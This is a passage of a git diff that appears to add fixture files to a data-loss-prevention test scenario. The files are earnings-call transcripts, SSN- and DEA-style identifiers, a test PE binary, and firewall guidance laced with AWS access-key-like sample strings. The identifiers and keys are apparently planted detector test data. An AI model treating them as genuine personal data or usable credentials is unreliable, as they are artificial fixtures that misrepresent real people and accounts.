fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. + +14685906102609842252788209059268 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_Healthcare.txt b/scenarios/scenario_5/infra/s3_files/2_Healthcare.txt new file mode 100644 index 0000000..13d1262 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_Healthcare.txt @@ -0,0 +1,6 @@ + +Health care - DEA BB4053839 | BJ6125341 +Health care - DEA BB4053869 | BJ985341 + +April_05_01 + \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_PII_33.sh b/scenarios/scenario_5/infra/s3_files/2_PII_33.sh new file mode 100644 index 0000000..0b2e80f --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_PII_33.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +echo "hello" + +ssn 098-07-3316 Current Time : April 12 2021 + +April_05_01 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_PII_latest.txt b/scenarios/scenario_5/infra/s3_files/2_PII_latest.txt new file mode 100644 index 0000000..cff7983 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_PII_latest.txt @@ -0,0 +1,3 @@ +ssn 098-07-3316 Current Time : May 6th 2:50 + +April_05_01 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_wildfire-test-pe-file.exe b/scenarios/scenario_5/infra/s3_files/2_wildfire-test-pe-file.exe new file mode 100644 index 0000000..55bff60 Binary files /dev/null and b/scenarios/scenario_5/infra/s3_files/2_wildfire-test-pe-file.exe differ diff --git a/scenarios/scenario_5/infra/s3_files/IP_multiline copy.txt b/scenarios/scenario_5/infra/s3_files/IP_multiline copy.txt new file mode 100644 index 0000000..43f68f8 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/IP_multiline copy.txt @@ -0,0 +1,42 @@ +Configure the best practice Antivirus profile by cloning the predefined profile and changing the imap, pop3, and smtp decoder values to reset-both in the Action and WildFire Action columns. +Configure the best practice Anti-Spyware profile by cloning the predefined strict profile. On the Rules tab, enable single packet capture on medium, high, and critical severity threats for traffic you log. (For traffic you don’t log, apply a separate profile without packet capture enabled.) April_05_01 +On the DNS Signatures tab, change the Action on DNS Queries to sinkhole if the firewall can’t see the originator of the DNS query (typically when the firewall is north of the local DNS server) so that you can identify infected hosts. + "AWS-AAKI": { + "positive": { + "aaki1": "AKIAYPDIK3OCOFEZAOQQ AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + }. +} +DNS sinkhole identifies and tracks potentially compromised hosts that attempt to access suspicious domains and prevents them from accessing those domains. Enable extended packet capture on the sinkholed traffic. April_05_01 +Configure the best practice Vulnerability Protection profile by cloning the predefined strict profile and changing the Packet Capture setting for every rule except simple-client-informational and simple-server-informational to single-packet. If the firewall identifies a large volume of vulnerability threats and that affects performance, disable packet capture for low-severity events. +The predefined strict File Blocking profile is the best practice profile. If supporting critical applications prevents you from blocking all the file types the strict profile blocks (you can identify the file types used in the data center from data filtering logs at MonitorLogsData Filtering), clone the strict profile and modify it as needed. If files don’t need to flow in both directions, use the Direction setting to restrict the file type to only the required direction. +The predefined WildFire Analysis profile is the best practice profile. WildFire provides the best defense against unknown threats and advanced persistent threats (ATPs). + "AWS-AAKI": { + "positive": { + "aaki1": "AKIAYPDIK3OCOFEZAOYY AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services AKIAYPDIK3OCOFEZAOKK" + } +} +Perform CRL/OCSP checks to ensure June04 certificates presented during SSL decryption are valid. +SSL Protocol Settings: Set the Min Version to TLSv1.2, the Max Version to Max, and uncheck the SHA1 Authentication Algorithm. (The weak 3DES and RC4 Encryption Algorithms are automatically unchecked when you select TLSv1.2.) Use TLSv1.3 for traffic that supports TLSv1.3 (many mobile applications use certificate pinning, which prevent decryption when using TLSv1.3, so for these applications, use TLSv1.2). +SSL Forward Proxy: For Server Certificate Verification, block sessions with expired certificates, untrusted issuers, and unknown certificate status, and restrict certificate extensions. For Unsupported Mode Checks, block sessions with unsupported versions, unsupported cipher suites, and client authentication. For Failure Checks, blocking sessions if resources aren’t available is a tradeoff between the user experience (blocking may negatively affect the user experience) and potentially allowing dangerous connections. If you have to consider this tradeoff, also consider increasing the decryption resources available in the deployment. +SSL Inbound Inspection: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported ciphers. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. +SSH Proxy: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported algorithms. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. +Apply the No Decryption profile to traffic you choose not to decrypt because of regulations, compliance rules, or business reasons, except TLSv1.3 traffic (TLSv1.3 encrypts certificate information, so the firewall cannot block traffic based on certificate information). Block sessions with expired certificates and untrusted issuers. + + "AWS-AAKI": { + "positive": { + "aaki1": "HEd6k2v4Rj5e44l4poSJlB AWS Access Key", + "aaki2": "Access Key ID AKIAYPDIK3OCOFEZAOAA", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services MCaW6LjNPHTieUnRQCo" + } +} + +Use App-ID to create application-based allow list security policy rules that segment applications by controlling who can access each application and on which sets of servers (using dynamic address groups). App-ID enables you to apply granular security policy rules to applications that may reside on the same compute resource but require different levels of security and access control. +Create custom applications to uniquely identify proprietary applications and segment access. If you have existing Application Override policies that you created solely to define custom session timeouts for a set a of ports, convert the existing Application Override policies to application-based policies by configuring service-based session timeouts to maintain the custom timeout for each application and then migrating the rule the an application-based rule. Application Override policies are port-based. When you use Application Override policies to maintain custom session timeouts for a set of ports, you lose application visibility into those flows, so you neither know nor control which applications use the ports. Service-based session timeouts achieve custom timeouts while also maintaining application visibility. +For migrating from a port-based security policy with custom application timeouts to an application-based policy, don’t use Application Override rules to maintain the custom timeouts because you lose visibility into the applications. Instead, define a service-based session timeout to maintain the custom timeout for each application, and then migrate the rule to an application-based rule. \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/Jul11_new_financial.txt b/scenarios/scenario_5/infra/s3_files/Jul11_new_financial.txt new file mode 100644 index 0000000..375f280 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/Jul11_new_financial.txt @@ -0,0 +1,601 @@ +Awesome Q3 2021 Earnings Call - New9 super 3excellent wonderful awesome awesome 13Company great 100 goodgoodtestParticipants great +• Ellen West +• Patrick Pichette +• Omid Kordestani +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju +• Mark S. Mahaney +• Ross A. Sandler +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +MANAGEMENT DISCUSSION SECTION +Operator +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC 